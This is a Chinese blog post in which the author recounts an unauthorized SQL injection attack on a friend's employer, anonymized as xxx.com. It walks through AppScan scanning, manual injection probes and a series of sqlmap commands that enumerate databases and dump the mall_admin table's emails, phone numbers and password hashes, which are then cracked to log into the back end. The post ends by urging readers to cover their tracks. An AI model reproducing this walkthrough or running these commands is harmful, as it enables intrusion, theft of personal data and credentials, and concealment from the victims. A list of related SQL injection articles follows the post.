最近在研究Web安全相关的知识,特别是SQL注入类的相关知识。接触了一些与SQL注入相关的工具。周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞。不试不知道,一试还真TM得逞了,内心有些小激动,特在此写博文一篇,来记录下我是如何一步步攻破这家互联网公司的。

【作案工具介绍】

(1) AppScan渗透扫描工具

Appscan是Web应用程序渗透测试舞台上使用最广泛的工具之一。它是一个桌面应用程序,它有助于专业安全人员进行Web应用程序自动化脆弱性评估。

(2) Sqlmap渗透测试工具

Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

【作案细节如下】

首先使用Appscan工具,对www.xxx.com互联网公司的官网进行扫描,扫描结果如下: 

在这56个安全性问题中,找到你感兴趣的链接,例如下面这条:

http://www.xxx.com/system/cms/show?id=1

为何要挑出这一条呢?因为它对于SQL注入比较典型,下面普及下SQL注入常用手法。首先用如下语句,确定该网站是否存在注入点:

http://192.168.16.128/news.php?id=1 原网站

http://192.168.16.128/news.php?id=1’ 出错或显示不正常

http://192.168.16.128/news.php?id=1 and 1=1 出错或显示不正常

http://192.168.16.128/news.php?id=1 and 1=2 出错或显示不正常

如果有出错,说明存在注入点。

在判断完http://www.xxx.com/system/cms/show?id=1该链接存在注入点后,接下来就启动我们的渗透测试工具Sqlmap,进行下一步的注入工作,详细过程如下:

1) 再次确认目标注入点是否可用:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1

参数:

-u:指定注入点url

结果:

注入结果展示:

a. 参数id存在基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

b. 参数id存在基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

c. 数据库类型为:MySql 5.0.12

2) 暴库所有数据库:

一条命令即可曝出该sqlserver中所有数据库名称,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1  --dbs

参数:

--dbs:dbs前面有两条杠,列出所有数据库。

结果:

结果显示该sqlserver中共包含3个可用的数据库。

3) 获取当前使用的数据库

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db

参数:

--current-db:当前所使用的数据库。

结果:

4) 获取当前数据库使用账户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user

5) 列出sqlserver所有用户

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users 

6) 获取当前用户数据库账户与密码

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords

结果显示该用户可能无读取相关系统的权限。

7) 列出数据库中的表

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables  

参数:

-D:指定数据库名称

--tables:列出表

结果:

结果显示共列出了69张表。

8) 列出表中字段

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns

参数:

-D:指定数据库名称

-T:指定要列出字段的表

--columns:指定列出字段

结果:

9)暴字段内容

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump

参数:

-C :指定要暴的字段

--dump:将结果导出

如果字段内容太多,需要花费很多时间。可以指定导出特定范围的字段内容,命令如下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump

参数:

--start:指定开始的行

--stop:指定结束的行

此条命令的含义为:导出数据库xxx_store中的表mall_admin中的关于字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的数据内容。

结果如下:

通过上图,我们可以看到admin表中的用户信息了。我们将password字段通过md5解密,可以得到hash的原文密码,通过用户名和密码,我们就可以登录该网站了。

至此,我们已成功入侵到一家公司的后台,并拿到了相关的数据。不过要在这里提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦干净,不让别人发现你了!

本文由腾讯WeTest团队提供,更多资讯可直接戳链接查看:熊哥club »
转载请注明:熊哥club »

SQL注入—我是如何一步步攻破一家互联网公司的的更多相关文章

  1. Pikachu-Sql Inject(SQL注入)

    在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因 ...

  2. 嗅探、中间人sql注入、反编译--例说桌面软件安全性问题

    嗅探.中间人sql注入.反编译--例说桌面软件安全性问题 今天这篇文章不准备讲太多理论,讲我最近遇到的一个案例.从技术上讲,这个例子没什么高深的,还有一点狗屎运的成分,但是它又足够典型,典型到我可以讲 ...

  3. 转 sql注入

    1.判断有无注入点 ; and 1=1 and 1=2 2.猜表一般的表的名称无非是admin adminuser user pass password 等.. and 0<>(selec ...

  4. 我是如何一步步编码完成万仓网ERP系统的(一)系统架构

    https://www.cnblogs.com/smh188/p/11533668.html(我是如何一步步编码完成万仓网ERP系统的(一)系统架构) https://www.cnblogs.com/ ...

  5. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  6. 如何向非技术人(程序猿)解释SQL注入?

    前两天看博客园新闻,有一篇文章名为<我该如何向非技术人解释SQL注入?>(http://kb.cnblogs.com/page/515151/).是一个外国人写的,伯乐在线翻译的.我当时看 ...

  7. 测试常用SQL注入语句大全

    转载自Cracer,标题:<渗透常用SQL注入语句大全>,链接http://www.xxxx.com/?p=2226 1.判断有无注入点 整形参数判断 1.直接加' 2.and 1=1 3 ...

  8. MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)

    [声明] 欢迎转载,但请保留文章原始出处→_→ 生命壹号:http://www.cnblogs.com/smyhvae/ 文章来源:http://www.cnblogs.com/smyhvae/p/4 ...

  9. SpringMVC利用拦截器防止SQL注入

    引言 随着互联网的发展,人们在享受互联网带来的便捷的服务的时候,也面临着个人的隐私泄漏的问题.小到一个拥有用户系统的小型论坛,大到各个大型的银行机构,互联网安全问题都显得格外重要.而这些网站的背后,则 ...

随机推荐

  1. Elasticsearch查询——布尔查询Bool Query

    Elasticsearch在2.x版本的时候把filter查询给摘掉了,因此在query dsl里面已经找不到filter query了.其实es并没有完全抛弃filter query,而是它的设计与 ...

  2. 高德地图-搜索服务-POI搜索

    高德地图-搜索服务-POI搜索 之前公司项目收货地址仿饿了么的收货地址,结果发现自己实现的关键字搜索和周边搜索,搜索到的poi列表跟饿了么的并不完全一样,后来考虑了下,应该是搜索的范围.类型之类的设置 ...

  3. 完全抽离WebAPi之特殊需求返回HTML、Css、JS、Image

    前言 今天我们来实现一个特殊的需求,这个需求说来也不过分,不过有点违背WebAPi的真实用途,WebAPi不过是作为传输数据而用,若非在项目开发中断不可想到还要实现一个页面来实时显示列表并进行后续其他 ...

  4. web前端基础知识总结

    上个寒假总结的web前端的一些知识点给大家分享一下 1.<html>和</html> 标签限定了文档的开始和结束点. 属性: (1)  dir: 文本的显示方向,默认是从左向右 ...

  5. php使用post方式获得文件扩展名

    <form action="" method="post"> <input type="file" value=" ...

  6. 微服务实战(二):使用API Gateway--转

    原文地址:http://dockone.io/article/482 [编者的话]本系列的第一篇介绍了微服务架构模式.它讨论了采用微服务的优点和缺点,除了一些复杂的微服务,这种模式还是复杂应用的理想选 ...

  7. 原创:经验分享:微信小程序外包接单常见问题及流程

    从九月底内测到现在已经三个半月.凌晨一点睡觉已经习以为常,也正是这样,才让无前端经验的我做微信小程序开发并不感到费劲.最近才开始接微信小程序的外包项目,目前已经签下了五份合同,成品出了两个.加上转给朋 ...

  8. 利用AE编写切图工具的一些探讨

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/. 1.前言 这周利用晚上在家时间研究了下如何使用AE来开发切图工具.最初 ...

  9. DotNet项目中的一些常用验证操作

    在项目中需要对用户输入的信息,以及一些方法生成的结果进行验证,一般在项目中较多的采用js插件或js来进行有关信息的校验,但是从项目安全性的角度进行考虑,可对系统进行js注入. 如果在后台对用户输入的信 ...

  10. js制作点击会自动隐藏的导航栏(固定在在头部的)

    想必大家应该见过这样的特效,本来头部是固定在网页的最上方的,点一下缩进去,再点一下 又可以缩回来,这种效果怎么实现的呢,我今天就做了一个.菜鸟勿喷. @charset "utf-8" ...